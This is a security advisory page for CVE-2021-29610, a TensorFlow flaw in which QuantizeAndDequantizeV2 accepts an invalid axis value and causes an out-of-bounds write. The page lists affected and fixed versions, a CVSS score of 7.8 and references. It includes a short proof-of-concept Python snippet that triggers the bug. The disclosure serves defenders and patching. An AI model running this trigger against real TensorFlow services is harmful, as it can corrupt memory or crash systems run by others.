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CVE-2021-29610: Invalid validation in `QuantizeAndDequantizeV2`

May 21, 2021 (updated November 13, 2024)

The validation in tf.raw_ops.QuantizeAndDequantizeV2 allows invalid values for axis argument:

import tensorflow as tf

input_tensor = tf.constant([0.0], shape=[1], dtype=float)
input_min = tf.constant(-10.0)
input_max = tf.constant(-10.0)

tf.raw_ops.QuantizeAndDequantizeV2(
input=input_tensor, input_min=input_min, input_max=input_max,
signed_input=False, num_bits=1, range_given=False, round_mode='HALF_TO_EVEN',
narrow_range=False, axis=-2)

References

  • github.com/advisories/GHSA-mq5c-prh3-3f3h
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-538.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-736.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-247.yaml
  • github.com/tensorflow/tensorflow
  • github.com/tensorflow/tensorflow/commit/c5b0d5f8ac19888e46ca14b0e27562e7fbbee9a9
  • github.com/tensorflow/tensorflow/security/advisories/GHSA-mq5c-prh3-3f3h
  • nvd.nist.gov/vuln/detail/CVE-2021-29610

Code Behaviors & Features

Detect and mitigate CVE-2021-29610 with GitLab Dependency Scanning

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Affected versions

All versions before 2.1.4, all versions starting from 2.2.0 before 2.2.3, all versions starting from 2.3.0 before 2.3.3, all versions starting from 2.4.0 before 2.4.2

Fixed versions

  • 2.1.4
  • 2.2.3
  • 2.3.3
  • 2.4.2

Solution

Upgrade to versions 2.1.4, 2.2.3, 2.3.3, 2.4.2 or above.

Impact 7.8 HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Learn more about CVSS

Weakness

  • CWE-665: Improper Initialization
  • CWE-787: Out-of-bounds Write

Source file

pypi/tensorflow-cpu/CVE-2021-29610.yml

Spotted a mistake? Edit the file on GitLab.

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